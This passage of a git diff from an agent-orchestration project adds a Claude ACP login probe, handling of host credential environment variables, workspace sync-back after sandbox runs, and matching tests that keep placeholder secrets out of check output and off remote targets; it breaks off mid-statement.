+    expect(spawnedEnv.HTTPS_PROXY).toBe("http://trusted-proxy:8443");
+    expect(JSON.stringify(spawnedEnv)).not.toContain("caller-proxy");
+  });
+
+  it("runs the host login probe with the host ANTHROPIC_API_KEY on a local target", async () => {
+    // A local ACP run inherits the host environment, so a host ANTHROPIC_API_KEY
+    // authenticates the real run. The Test lane runs the login probe with the
+    // same host key, so the probe env matches the credential the real run
+    // receives. The probe then reports a real result, not a false auth-required.
+    process.env.ANTHROPIC_API_KEY = "sk-ant-host-key";
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+
+    const result = await testClaudeAcpEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "acp" },
+      executionTarget: null,
+      environmentName: null,
+    });
+
+    // The probe runs once with the host key, so it authenticates and reports no
+    // false auth-required and no probe-unavailable check.
+    expect(runAdapterExecutionTargetProcess).toHaveBeenCalledTimes(1);
+    const call = runAdapterExecutionTargetProcess.mock.calls[0] as unknown as unknown[];
+    const spawnedEnv = (call[4] as { env: Record<string, string> }).env;
+    expect(spawnedEnv.ANTHROPIC_API_KEY).toBe("sk-ant-host-key");
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_acp_login_probe_unavailable")).toBe(false);
+    // The lane still reports that API-key auth is in use.
+    expect(result.checks.some((check) => check.code === "claude_acp_anthropic_api_key_detected")).toBe(true);
+    // The host key value never enters a check.
+    expect(JSON.stringify(result.checks)).not.toContain("sk-ant-host-key");
+  });
+
+  it("runs the host login probe with the host CLAUDE_CODE_OAUTH_TOKEN on a local target", async () => {
+    // A local ACP run inherits the host environment, so a host subscription
+    // OAuth token authenticates the real run. The Test lane runs the login probe
+    // with the same host token, so the probe env matches the credential the real
+    // run receives. The probe then reports a real result, not a false
+    // auth-required.
+    process.env.CLAUDE_CODE_OAUTH_TOKEN = "oauth-host-token";
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+
+    const result = await testClaudeAcpEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "acp" },
+      executionTarget: null,
+      environmentName: null,
+    });
+
+    // The probe runs once with the host token, so it authenticates and reports
+    // no false auth-required and no probe-unavailable check.
+    expect(runAdapterExecutionTargetProcess).toHaveBeenCalledTimes(1);
+    const call = runAdapterExecutionTargetProcess.mock.calls[0] as unknown as unknown[];
+    const spawnedEnv = (call[4] as { env: Record<string, string> }).env;
+    expect(spawnedEnv.CLAUDE_CODE_OAUTH_TOKEN).toBe("oauth-host-token");
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_acp_login_probe_unavailable")).toBe(false);
+    // The lane reports that the configured OAuth token is in use.
+    expect(result.checks.some((check) => check.code === "claude_oauth_token_configured")).toBe(true);
+    // The host token value never enters a check.
+    expect(JSON.stringify(result.checks)).not.toContain("oauth-host-token");
+  });
+
+  it("runs the host login probe with the host ANTHROPIC_AUTH_TOKEN on a local target", async () => {
+    // A local ACP run inherits the host environment, so a host bearer auth token
+    // authenticates the real run. The Test lane runs the login probe with the
+    // same host token, so the probe env matches the credential the real run
+    // receives. The probe then reports a real result, not a false auth-required.
+    process.env.ANTHROPIC_AUTH_TOKEN = "auth-host-token";
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+
+    const result = await testClaudeAcpEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "acp" },
+      executionTarget: null,
+      environmentName: null,
+    });
+
+    // The probe runs once with the host token, so it authenticates and reports
+    // no false auth-required and no probe-unavailable check.
+    expect(runAdapterExecutionTargetProcess).toHaveBeenCalledTimes(1);
+    const call = runAdapterExecutionTargetProcess.mock.calls[0] as unknown as unknown[];
+    const spawnedEnv = (call[4] as { env: Record<string, string> }).env;
+    expect(spawnedEnv.ANTHROPIC_AUTH_TOKEN).toBe("auth-host-token");
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_acp_login_probe_unavailable")).toBe(false);
+    // The host token value never enters a check.
+    expect(JSON.stringify(result.checks)).not.toContain("auth-host-token");
+  });
+
+  it("runs the host login probe with the host CLAUDE_CONFIG_DIR on a local target", async () => {
+    // A local ACP run reads the stored Claude login from the host
+    // CLAUDE_CONFIG_DIR. The Test lane runs the login probe with the same host
+    // config dir, so the probe reads the same stored login the real run uses.
+    // The probe then reports a real result, not a false auth-required.
+    process.env.CLAUDE_CONFIG_DIR = "/host/claude/config";
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+
+    const result = await testClaudeAcpEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "acp" },
+      executionTarget: null,
+      environmentName: null,
+    });
+
+    // The probe runs once with the host config dir, so it reads the stored login
+    // and reports no false auth-required and no probe-unavailable check.
+    expect(runAdapterExecutionTargetProcess).toHaveBeenCalledTimes(1);
+    const call = runAdapterExecutionTargetProcess.mock.calls[0] as unknown as unknown[];
+    const spawnedEnv = (call[4] as { env: Record<string, string> }).env;
+    expect(spawnedEnv.CLAUDE_CONFIG_DIR).toBe("/host/claude/config");
+    expect(result.checks.some((check) => check.code === "claude_hello_probe_auth_required")).toBe(false);
+    expect(result.checks.some((check) => check.code === "claude_acp_login_probe_unavailable")).toBe(false);
+  });
+
+  it("never seeds the host ANTHROPIC_AUTH_TOKEN or CLAUDE_CONFIG_DIR on a remote target", async () => {
+    // A remote target does not inherit the host environment, so the probe keeps
+    // the deny-by-default env and never reads a host credential. The host token
+    // and host config dir must never reach the remote probe env.
+    process.env.ANTHROPIC_AUTH_TOKEN = "auth-host-token";
+    process.env.CLAUDE_CONFIG_DIR = "/host/claude/config";
+    probeResult.value = { exitCode: 0, stdout: helloStdout, stderr: "", timedOut: false };
+
+    await testClaudeAcpEnvironment({
+      companyId: "company-1",
+      adapterType: "claude_local",
+      config: { engine: "acp" },
+      executionTarget: sshTarget,
+      environmentName: null,
+    });
+
+    expect(runAdapterExecutionTargetProcess).toHaveBeenCalledTimes(1);
+    const call = runAdapterExecutionTargetProcess.mock.calls[0] as unknown as unknown[];
+    const spawnedEnv = (call[4] as { env: Record<string, string> }).env;
+    expect(spawnedEnv.ANTHROPIC_AUTH_TOKEN).toBeUndefined();
+    expect(spawnedEnv.CLAUDE_CONFIG_DIR).toBeUndefined();
+  });
+});
diff --git a/packages/adapters/claude-local/src/server/acp.test.ts b/packages/adapters/claude-local/src/server/acp.test.ts
index 45acb00db04..a58fbc66b9c 100644
--- a/packages/adapters/claude-local/src/server/acp.test.ts
+++ b/packages/adapters/claude-local/src/server/acp.test.ts
@@ -259,9 +259,9 @@ describe("claude_local ACP lane", () => {
   });
 
   it("checks the Node version required by the Claude ACP runtime", () => {
-    setNodeVersion("v22.11.0");
+    setNodeVersion("v24.10.0");
     expect(nodeVersionMeetsClaudeAcpMinimum()).toBe(false);
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.11.0");
     expect(nodeVersionMeetsClaudeAcpMinimum()).toBe(true);
   });
 
@@ -270,7 +270,7 @@ describe("claude_local ACP lane", () => {
     const commandPath = path.join(root, "bin", "claude-agent-acp");
     await fs.mkdir(path.dirname(commandPath), { recursive: true });
     await fs.writeFile(commandPath, "#!/usr/bin/env sh\n", "utf8");
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.11.0");
 
     expect(resolveClaudeExecutionEngine({})).toEqual({ engine: "acp", explicit: false });
     await expect(
@@ -286,7 +286,7 @@ describe("claude_local ACP lane", () => {
       }),
     ).resolves.toEqual({ engine: "cli", explicit: true });
 
-    setNodeVersion("v22.11.0");
+    setNodeVersion("v24.10.0");
     await expect(
       resolveClaudeExecutionEngineForRun({
         config: { agentCommand: commandPath },
@@ -341,7 +341,7 @@ describe("claude_local ACP lane", () => {
   });
 
   it("uses ACP for bridged sandbox auto runs when the ACP command is configured as a shell command", async () => {
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveClaudeExecutionEngineForRun({
         config: { agentCommand: "claude-agent-acp" },
@@ -367,7 +367,7 @@ describe("claude_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for one-shot sandbox auto runs", async () => {
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveClaudeExecutionEngineForRun({
         config: {},
@@ -386,7 +386,7 @@ describe("claude_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for non-sandbox remote auto runs", async () => {
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveClaudeExecutionEngineForRun({
         config: {},
@@ -418,8 +418,13 @@ describe("claude_local ACP lane", () => {
     const commandPath = path.join(root, "bin", "claude-agent-acp");
     await fs.mkdir(path.dirname(commandPath), { recursive: true });
     await fs.writeFile(commandPath, "#!/usr/bin/env sh\n", "utf8");
-    setNodeVersion("v22.12.0");
+    setNodeVersion("v24.11.0");
 
+    // The ACP lane now verifies auth: without a credential the lane runs a real
+    // host login probe, so its status depends on the host login state. Give the
+    // config a Bedrock credential to make the auth path deterministic. Bedrock
+    // gates off the host login probe, so the result reflects only the ACP
+    // prerequisites, and a valid credential lets the lane report a pass.
     const result = await testClaudeAcpEnvironment({
       adapterType: "claude_local",
       companyId: "company-1",
@@ -427,6 +432,7 @@ describe("claude_local ACP lane", () => {
         engine: "acp",
         cwd: root,
         agentCommand: commandPath,
+        env: { CLAUDE_CODE_USE_BEDROCK: "1" },
       },
     });
 
@@ -443,6 +449,12 @@ describe("claude_local ACP lane", () => {
         level: "info",
       }),
     );
+    expect(result.checks).toContainEqual(
+      expect.objectContaining({
+        code: "claude_acp_bedrock_auth",
+        level: "info",
+      }),
+    );
     expect(result.checks).toContainEqual(
       expect.objectContaining({
         code: "claude_acp_runtime_scaffold",
@@ -618,6 +630,79 @@ describe("claude_local ACP lane", () => {
     expect(Object.keys(meta[0]?.env ?? {}).filter((key) => key.startsWith("XDG_"))).toEqual([]);
   });
 
+  it("test_claude_acp_seam_registers_workspace_sync_back", async () => {
+    const root = await makeTempRoot("paperclip-claude-acp-syncback-");
+    const localCwd = path.join(root, "worktree");
+    const remoteCwd = path.join(root, "remote-workspace");
+    const sharedClaudeConfig = path.join(root, "shared-claude-config");
+    await fs.mkdir(localCwd, { recursive: true });
+    await fs.mkdir(remoteCwd, { recursive: true });
+    await fs.mkdir(sharedClaudeConfig, { recursive: true });
+    await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+    await fs.writeFile(
+      path.join(sharedClaudeConfig, "settings.json"),
+      JSON.stringify({ permissions: { defaultMode: "acceptEdits" } }),
+      "utf8",
+    );
+    await fs.writeFile(path.join(sharedClaudeConfig, "CLAUDE.md"), "# shared guidance\n", "utf8");
+    process.env.PAPERCLIP_HOME = path.join(root, "paperclip-home");
+    process.env.PAPERCLIP_INSTANCE_ID = "test";
+    process.env.CLAUDE_CONFIG_DIR = sharedClaudeConfig;
+
+    // The runtime writes a NEW file into the in-sandbox workspace during the turn.
+    // The seam must register a workspace sync-back teardown, so the file lands in
+    // the host worktree after the run.
+    const runtime = new FakeRuntime({});
+    const startTurn = runtime.startTurn.bind(runtime);
+    runtime.startTurn = (input) => {
+      const turn = startTurn(input);
+      const remoteWorkspaceCwd = input.handle.cwd ?? remoteCwd;
+      return {
+        ...turn,
+        result: (async () => {
+          await fs.writeFile(path.join(remoteWorkspaceCwd, "from-sandbox.txt"), "synced", "utf8");
+          return await turn.result;
+        })(),
+      };
+    };
+
+    const execute = createClaudeAcpExecutor({
+      createRuntime: (options: FakeRuntimeOptions) => {
+        Object.assign(runtime.options, options);
+        return runtime as never;
+      },
+    });
+
+    const result = await execute(
+      buildContext(localCwd, {
+        config: {
+          engine: "acp",
+          cwd: localCwd,
+          agentCommand: "node ./fake-acp.js",
+          stateDir: path.join(root, "state"),
+          promptTemplate: "Do the assigned work.",
+        },
+        context: {
+          issueId: "issue-1",
+          paperclipWorkspace: { cwd: localCwd, source: "project_workspace", workspaceId: "workspace-1" },
+        },
+        executionTarget: {
+          kind: "remote",
+          transport: "sandbox",
+          providerKey: "fake-plugin",
+          remoteCwd,
+          runner: createLocalSandboxRunner(),
+        } as never,
+        authToken: "real-run-jwt",
+      }),
+    );
+
+    expect(result.exitCode).toBe(0);
+    // The teardown fired `restoreWorkspace`, so the sandbox-authored file is now
+    // in the host worktree.
+    await expect(fs.readFile(path.join(localCwd, "from-sandbox.txt"), "utf8")).resolves.toBe("synced");
+  });
+
   it("remaps a workspace-relative explicit CLAUDE_CONFIG_DIR onto the in-sandbox workspace path", async () => {
     const root = await makeTempRoot("paperclip-claude-acp-explicit-inworkspace-");
     const localCwd = path.join(root, "worktree");
@@ -760,7 +845,7 @@ describe("claude_local ACP lane", () => {
   });
 
   it("falls back to the CLI lane for a runner-less sandbox even when the ACP command is set", async () => {
-    setNodeVersion("v22.13.0");
+    setNodeVersion("v24.11.0");
     await expect(
       resolveClaudeExecutionEngineForRun({
         config: { agentCommand: "claude-agent-acp" },
diff --git a/packages/adapters/claude-local/src/server/acp.ts b/packages/adapters/claude-local/src/server/acp.ts
index 1513b6c360e..721e2c39ab7 100644
--- a/packages/adapters/claude-local/src/server/acp.ts
+++ b/packages/adapters/claude-local/src/server/acp.ts
@@ -17,7 +17,9 @@ import {
   ensureAdapterExecutionTargetCommandResolvable,
   readAdapterExecutionTarget,
   resolveAdapterExecutionTargetCwd,
+  runAdapterExecutionTargetProcess,
 } from "@paperclipai/adapter-utils/execution-target";
+import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
 import {
   DEFAULT_ACP_ENGINE_MODE,
   DEFAULT_ACP_ENGINE_NON_INTERACTIVE_PERMISSIONS,
@@ -30,6 +32,7 @@ import type {
   AcpxRemoteManagedHomeResult,
 } from "@paperclipai/adapter-utils/acpx-engine/execute";
 import {
+  asBoolean,
   asNumber,
   asString,
   parseObject,
@@ -37,11 +40,23 @@ import {
 import {
   materializeRemoteClaudeConfig,
   prepareClaudeConfigSeed,
+  prepareSandboxClaudeProbeRuntime,
 } from "./claude-config.js";
+import {
+  buildAdapterTestTargetCheck,
+  buildClaudeLoginRequiredHint,
+  classifyThrownErrorClass,
+  logSandboxProbeDiagnostic,
+} from "./probe-diagnostics.js";
+import { buildLocalAdapterTestProbeEnv } from "./probe-env.js";
+import { detectClaudeLoginRequired, parseClaudeStreamJson } from "./parse.js";
+import { buildClaudeProbePermissionArgs } from "./permissions.js";
+import { ADAPTER_AUTH_MISSING_CHECK_CODE } from "./auth-check.js";
+import { SANDBOX_INSTALL_COMMAND } from "../index.js";
 
 const moduleDir = path.dirname(fileURLToPath(import.meta.url));
 const packageRootDir = path.resolve(moduleDir, "../..");
-const MIN_ACP_NODE_VERSION = "22.12.0";
+const MIN_ACP_NODE_VERSION = "24.11.0";
 
 export type ClaudeExecutionEngine = "cli" | "acp";
 
@@ -181,7 +196,8 @@ export function resolveClaudeAcpBillingIdentity(
  * asset, materialize it into an in-sandbox config dir (copying the sandbox's own
  * `$HOME/.claude` credentials in), then repoint `CLAUDE_CONFIG_DIR` onto that
  * in-sandbox config dir. Claude has no credential copy-back (its CLI lane has
- * none — mirroring the CLI is the contract), so no teardown hook.
+ * none — mirroring the CLI is the contract). The teardown hook therefore only
+ * syncs the sandbox workspace back to the host; it does not touch credentials.
  *
  * An explicit `CLAUDE_CONFIG_DIR` (user-managed) is honored only if it can reach
  * the remote sandbox; a host-only path cannot, so we do NOT forward it verbatim
@@ -193,6 +209,25 @@ async function prepareClaudeRemoteManagedHome(
   input: AcpxRemoteManagedHomeContext,
 ): Promise<AcpxRemoteManagedHomeResult> {
   const { env, runId, onLog, executionTarget } = input;
+  // Fail-open workspace sync-back for every exit path (mirrors the Claude CLI
+  // lane's restore-hook finally and the Codex ACP seam's teardown). Claude has no
+  // credential copy-back, so the teardown only syncs the sandbox workspace back to
+  // the host. A restore miss is logged and never fails the run.
+  const registerWorkspaceSyncBack = (
+    stagedRuntime: AcpxRemoteManagedHomeResult["stagedRuntime"],
+  ): AcpxRemoteManagedHomeResult["teardown"] => async () => {
+    try {
+      await onLog("stdout", "[paperclip] Restoring workspace changes from the sandbox.\n");
+      await stagedRuntime.restoreWorkspace((line) => onLog("stdout", line));
+    } catch (err) {
+      await onLog(
+        "stderr",
+        `[paperclip] Claude ACP teardown workspace restore failed: ${
+          err instanceof Error ? err.message : String(err)
+        }\n`,
+      );
+    }
+  };
   const envConfig = parseObject(input.config.env);
   const explicitClaudeConfigDir =
     typeof envConfig.CLAUDE_CONFIG_DIR === "string" && envConfig.CLAUDE_CONFIG_DIR.trim().length > 0
@@ -228,7 +263,7 @@ async function prepareClaudeRemoteManagedHome(
         "stdout",
         `[paperclip] Remapped operator CLAUDE_CONFIG_DIR from host path ${explicitClaudeConfigDir} onto the in-sandbox workspace path ${remappedConfigDir} for the remote ACP run.\n`,
       );
-      return { stagedRuntime };
+      return { stagedRuntime, teardown: registerWorkspaceSyncBack(stagedRuntime) };
     }
     await onLog(
       "stderr",
@@ -266,7 +301,7 @@ async function prepareClaudeRemoteManagedHome(
   });
   // Repoint CLAUDE_CONFIG_DIR onto the in-sandbox config dir.
   env.CLAUDE_CONFIG_DIR = remoteClaudeConfigDir;
-  return { stagedRuntime };
+  return { stagedRuntime, teardown: registerWorkspaceSyncBack(stagedRuntime) };
 }
 
 function withClaudeAcpDefaults(options: ClaudeAcpExecutorOptions): AcpxEngineExecutorOptions {
@@ -280,6 +315,36 @@ function withClaudeAcpDefaults(options: ClaudeAcpExecutorOptions): AcpxEngineExe
   };
 }
 
+/**
+ * The generic error code the shared acpx engine emits when a run fails because
+ * the agent has no ready authentication. The shared engine stays vendor-neutral,
+ * so it keeps this generic code. See `adapter-utils/acpx-engine/execute.ts`.
+ */
+const ACPX_AUTH_REQUIRED_ERROR_CODE = "acpx_auth_required";
+
+/**
+ * The Claude-specific error code the user interface reads to show the Claude
+ * login affordance on a run. The Claude CLI lane already emits this code. See
+ * `execute.ts` and the user interface gate in `ui/src/pages/AgentDetail.tsx`.
+ */
+const CLAUDE_AUTH_REQUIRED_ERROR_CODE = "claude_auth_required";
+
+/**
+ * Translate the generic acpx auth-required code into the Claude-specific code at
+ * the claude-local boundary. The shared acpx engine reports the generic
+ * `acpx_auth_required` code for every adapter. The user interface run gate reads
+ * the Claude-specific `claude_auth_required` code, the same code the Claude CLI
+ * lane emits. Without this translation the default ACP run never shows the login
+ * prompt. The function changes only the error code and keeps every other field,
+ * so the error message and the error metadata stay intact.
+ */
+export function mapClaudeAcpAuthErrorCode(
+  result: AdapterExecutionResult,
+): AdapterExecutionResult {
+  if (result.errorCode !== ACPX_AUTH_REQUIRED_ERROR_CODE) return result;
+  return { ...result, errorCode: CLAUDE_AUTH_REQUIRED_ERROR_CODE };
+}
+
 export function createClaudeAcpExecutor(options: ClaudeAcpExecutorOptions = {}): ClaudeAcpExecutor {
   let executor: ClaudeAcpExecutor | null = null;
   return async (ctx) => {
@@ -289,10 +354,11 @@ export function createClaudeAcpExecutor(options: ClaudeAcpExecutorOptions = {}):
       currentExecutor = createAcpxEngineExecutor(withClaudeAcpDefaults(options));
       executor = currentExecutor;
     }
-    return currentExecutor({
+    const result = await currentExecutor({
       ...ctx,
       config: buildClaudeAcpConfig(ctx.config),
     });
+    return mapClaudeAcpAuthErrorCode(result);
   };
 }
 
@@ -430,6 +496,183 @@ function isNonEmpty(value: unknown): value is string {
   return typeof value === "string" && value.trim().length > 0;
 }
 
+/**
+ * Build the checks that tell the user the probed target has no ready Claude
+ * authentication. Every target gets the descriptive warn check, so
+ * `summarizeStatus` never reports a pass without auth. Only a sandbox target
+ * gets the neutral canonical `adapter_auth_missing` code, because only a
+ * sandbox target can start an in-place login. The user interface reads the
+ * canonical code to offer login and gates that affordance to sandbox targets.
+ */
+function buildAcpAuthMissingChecks(input: {
+  targetIsSandbox: boolean;
+  loginUrl: string | null;
+}): AdapterEnvironmentCheck[] {
+  const checks: AdapterEnvironmentCheck[] = [
+    {
+      code: "claude_hello_probe_auth_required",
+      level: "warn",
+      message: "Claude ACP is available, but login is required.",
+      hint: buildClaudeLoginRequiredHint(input.loginUrl),
+    },
+  ];
+  if (input.targetIsSandbox) {
+    checks.push({
+      code: ADAPTER_AUTH_MISSING_CHECK_CODE,
+      level: "warn",
+      message: "This environment has no ready authentication for this adapter.",
+      hint: "Provide credentials for this adapter, or start login in the environment.",
+    });
+  }
+  return checks;
+}
+
+/**
+ * Build the check that tells the user a Claude login probe could not run on the
+ * ACP path. The check is a warn, not an info, so `summarizeStatus` never
+ * reports a pass. The check code is distinct from `adapter_auth_missing`, so the
+ * user interface never shows the login affordance for a probe that could not
+ * confirm the login state. A Test without available auth must not report a
+ * success.
+ */
+function buildAcpLoginProbeUnavailableCheck(
+  message: string,
+  targetIsSandbox = false,
+): AdapterEnvironmentCheck {
+  return {
+    code: "claude_acp_login_probe_unavailable",
+    level: "warn",
+    message,
+    hint: targetIsSandbox
+      ? "Verify that the environment can run `claude` and retry the Test. Set engine=cli to use the Claude CLI lane."
+      : "Verify that `claude` can run in this environment and retry the Test. Set engine=cli to use the Claude CLI lane.",
+  };
+}
+
+/**
+ * Probe the stored Claude login for the probed target on the ACP path. The ACP
+ * engine and the Claude CLI share the same stored Claude login, so the probe
+ * runs the `claude` command with a short hello turn. The probe runs against any
+ * target: a local host, an SSH remote, or a sandbox. On a local target the
+ * probe builds the child env and the executable from the shared
+ * deny-by-default builder, so a hostile caller value can neither select the
+ * executable nor reach the child. On a remote target the caller passes the
+ * prepared `env`, so the probe reads the managed `CLAUDE_CONFIG_DIR` the same
+ * way the CLI lane does.
+ *
+ * When the probe reports that login is required, the function returns the
+ * auth-required checks. Only a sandbox target also gets the canonical
+ * `adapter_auth_missing` code, so the user interface offers login for sandbox
+ * targets only.
+ *
+ * The function keeps two signals distinct. It returns the auth-required check
+ * only when the probe ran and login is required. It returns a separate warn
+ * check when the probe could not run, timed out, or did not complete. It never
+ * maps "probe could not run" to a silent pass.
+ */
+export async function probeClaudeAcpSandboxLogin(input: {
+  config: Record<string, unknown>;
+  target: AdapterExecutionTarget | null;
+  env?: Record<string, string>;
+}): Promise<AdapterEnvironmentCheck[]> {
+  const { config, target } = input;
+  const targetIsRemote = target?.kind === "remote";
+  const targetIsSandbox = target?.kind === "remote" && target.transport === "sandbox";
+
+  // The caller-derived env. On a local target the shared builder filters it to
+  // a deny-by-default allowlist. On a remote target the prepared env is used
+  // directly, because the remote transport owns its own env sanitization.
+  let callerEnv: Record<string, string>;
+  if (input.env) {
+    callerEnv = input.env;
+  } else {
+    const envConfig = parseObject(config.env);
+    callerEnv = {};
+    for (const [key, value] of Object.entries(envConfig)) {
+      if (typeof value === "string") callerEnv[key] = value;
+    }
+  }
+
+  let command: string;
+  let env: Record<string, string>;
+  let cwd: string;
+  if (targetIsRemote && target) {
+    command = "claude";
+    env = callerEnv;
+    cwd = target.kind === "remote" ? target.remoteCwd : process.cwd();
+  } else {
+    const built = await buildLocalAdapterTestProbeEnv({
+      callerEnv,
+      trustedEnv: process.env,
+    });
+    if (!built.command) {
+      return [buildAcpLoginProbeUnavailableCheck("Claude is not installed on the Paperclip host.")];
+    }
+    command = built.command;
+    env = built.env;
+    cwd = asString(config.cwd, process.cwd());
+  }
+
+  const args = ["--print", "-", "--output-format", "stream-json", "--verbose"];
+  args.push(
+    ...buildClaudeProbePermissionArgs({
+      dangerouslySkipPermissions: asBoolean(config.dangerouslySkipPermissions, true),
+      targetIsRemote,
+      localProcessUid: process.getuid?.() ?? null,
+    }),
+  );
+  const timeoutSec = Math.max(1, asNumber(config.helloProbeTimeoutSec, targetIsSandbox ? 90 : 45));
+  const runId = `claude-acp-authprobe-${Date.now()}-${Math.random().toString(16).slice(2)}`;
+  let probe: Awaited<ReturnType<typeof runAdapterExecutionTargetProcess>>;
+  try {
+    probe = await runAdapterExecutionTargetProcess(runId, target, command, args, {
+      cwd,
+      env,
+      timeoutSec,
+      graceSec: 5,
+      stdin: "Respond with hello.",
+      onLog: async () => {},
+    });
+  } catch (err) {
+    // Keep the raw error out of the Test-result check and the server log. Log
+    // only the fixed context, the allowlisted classification, and a safe error
+    // class name.
+    logSandboxProbeDiagnostic("Claude ACP login probe could not run", "spawn_error", {
+      errorClass: classifyThrownErrorClass(err),
+    });
+    return [
+      buildAcpLoginProbeUnavailableCheck(
+        targetIsSandbox
+          ? "The Claude login probe could not run in the sandbox."
+          : "The Claude login probe could not run.",
+        targetIsSandbox,
+      ),
+    ];
+  }
+  if (probe.timedOut) {
+    return [buildAcpLoginProbeUnavailableCheck("The Claude login probe timed out.", targetIsSandbox)];
+  }
+  const parsedStream = parseClaudeStreamJson(probe.stdout);
+  const loginMeta = detectClaudeLoginRequired({
+    parsed: parsedStream.resultJson,
+    stdout: probe.stdout,
+    stderr: probe.stderr,
+  });
+  if (loginMeta.requiresLogin) {
+    return buildAcpAuthMissingChecks({ targetIsSandbox, loginUrl: loginMeta.loginUrl });
+  }
+  if ((probe.exitCode ?? 1) !== 0) {
+    // Keep the raw stderr and stdout out of the Test-result check and the
+    // server log. Log only the fixed context, the allowlisted classification,
+    // and the safe exit code.
+    logSandboxProbeDiagnostic("Claude ACP login probe did not complete", "nonzero_exit", {
+      exitCode: probe.exitCode ?? null,
+    });
+    return [buildAcpLoginProbeUnavailableCheck("The Claude login probe did not complete.", targetIsSandbox)];
+  }
+  return [];
+}
+
 export async function testClaudeAcpEnvironment(
   ctx: AdapterEnvironmentTestContext,
 ): Promise<AdapterEnvironmentTestResult> {
@@ -437,6 +680,7 @@ export async function testClaudeAcpEnvironment(
   const config = parseObject(ctx.config);
   const target = ctx.executionTarget ?? null;
   const targetIsRemote = target?.kind === "remote";
+  const targetIsSandbox = target?.kind === "remote" && target.transport === "sandbox";
 
   checks.push({
     code: "claude_engine_selected",
@@ -445,6 +689,12 @@ export async function testClaudeAcpEnvironment(
     hint: "Set engine=cli to use the existing Claude Code CLI lane.",
   });
 
+  // Always name the target the Test probed, so a pass result never hides which
+  // target it checked. A local probe reports the fixed host label.
+  checks.push(
+    buildAdapterTestTargetCheck({ targetIsRemote, environmentName: ctx.environmentName }),
+  );
+
   if (targetIsRemote) {
     checks.push({
       code: "claude_acp_remote_target",
@@ -509,6 +759,9 @@ export async function testClaudeAcpEnvironment(
     (considerHostEnv && isNonEmpty(process.env.ANTHROPIC_BEDROCK_BASE_URL));
   const configApiKey = envConfig.ANTHROPIC_API_KEY;
   const hostApiKey = considerHostEnv ? process.env.ANTHROPIC_API_KEY : undefined;
+  const hostOauthToken = considerHostEnv ? process.env.CLAUDE_CODE_OAUTH_TOKEN : undefined;
+  const hostAuthToken = considerHostEnv ? process.env.ANTHROPIC_AUTH_TOKEN : undefined;
+  const hostConfigDir = considerHostEnv ? process.env.CLAUDE_CONFIG_DIR : undefined;
   if (hasBedrock) {
     checks.push({
       code: "claude_acp_bedrock_auth",
@@ -525,6 +778,20 @@ export async function testClaudeAcpEnvironment(
       detail: `Detected in ${source}.`,
       hint: "Unset ANTHROPIC_API_KEY if you want subscription-based Claude login behavior.",
     });
+  } else if (
+    isNonEmpty(envConfig.CLAUDE_CODE_OAUTH_TOKEN) ||
+    (considerHostEnv && isNonEmpty(process.env.CLAUDE_CODE_OAUTH_TOKEN))
+  ) {
+    const source = isNonEmpty(envConfig.CLAUDE_CODE_OAUTH_TOKEN)
+      ? "configured environment variables"
+      : "server environment";
+    checks.push({
+      code: "claude_oauth_token_configured",
+      level: "info",
+      message:
+        "CLAUDE_CODE_OAUTH_TOKEN is set. Claude ACP will authenticate with the configured subscription token; no stored login is needed on the execution target.",
+      detail: `Detected in ${source}.`,
+    });
   } else if (!targetIsRemote) {
     checks.push({
       code: "claude_acp_subscription_mode_possible",
@@ -533,6 +800,73 @@ export async function testClaudeAcpEnvironment(
     });
   }
 
+  // Run a real hello probe for every target when Bedrock and a config API key
+  // are both absent. A local target inherits the host environment, so the real
+  // ACP run authenticates with a host ANTHROPIC_API_KEY. The probe seeds the
+  // same host key below when the config sets none, so the probe uses the
+  // credential the real run receives and does not report a false auth-required.
+  // A remote target does not inherit the host env, so considerHostEnv is false
+  // and the probe never reads the host key. The CLI lane already probes every
+  // target; the ACP lane now matches it, so a local or SSH target no longer
+  // reports a pass without a credential check. Prepare the sandbox the same way
+  // the CLI lane does — install the Claude CLI when it is absent and materialize
+  // the managed CLAUDE_CONFIG_DIR. The preparation is a no-op for a local or SSH
+  // target. The probe returns the canonical adapter_auth_missing signal only for
+  // a sandbox target, and a distinct warn check when the probe cannot run. The
+  // user interface reads the canonical signal to offer login on the sandbox ACP
+  // path.
+  if (!hasBedrock && !isNonEmpty(configApiKey)) {
+    const probeEnv: Record<string, string> = {};
+    for (const [key, value] of Object.entries(envConfig)) {
+      if (typeof value === "string") probeEnv[key] = value;
+    }
+    // Seed the host ANTHROPIC_API_KEY when the config sets no key, so the probe
+    // env matches the credential the real local run inherits from the host.
+    if (isNonEmpty(hostApiKey) && !isNonEmpty(probeEnv.ANTHROPIC_API_KEY)) {
+      probeEnv.ANTHROPIC_API_KEY = hostApiKey.trim();
+    }
+    // Seed the host CLAUDE_CODE_OAUTH_TOKEN the same way. A local ACP run
+    // inherits a host subscription OAuth token, so the probe must receive the
+    // same token. Without this seed a valid host OAuth-token setup reports a
+    // false claude_hello_probe_auth_required and fails the Test lane.
+    if (isNonEmpty(hostOauthToken) && !isNonEmpty(probeEnv.CLAUDE_CODE_OAUTH_TOKEN)) {
